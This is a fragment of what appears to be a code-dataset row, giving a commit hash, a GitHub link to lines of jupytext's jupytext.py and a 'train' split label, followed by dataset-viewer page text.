"metadata"
] | eb7d6aee889f80ad779cfc53441c648f0db9246d | https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L31-L43 | train |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.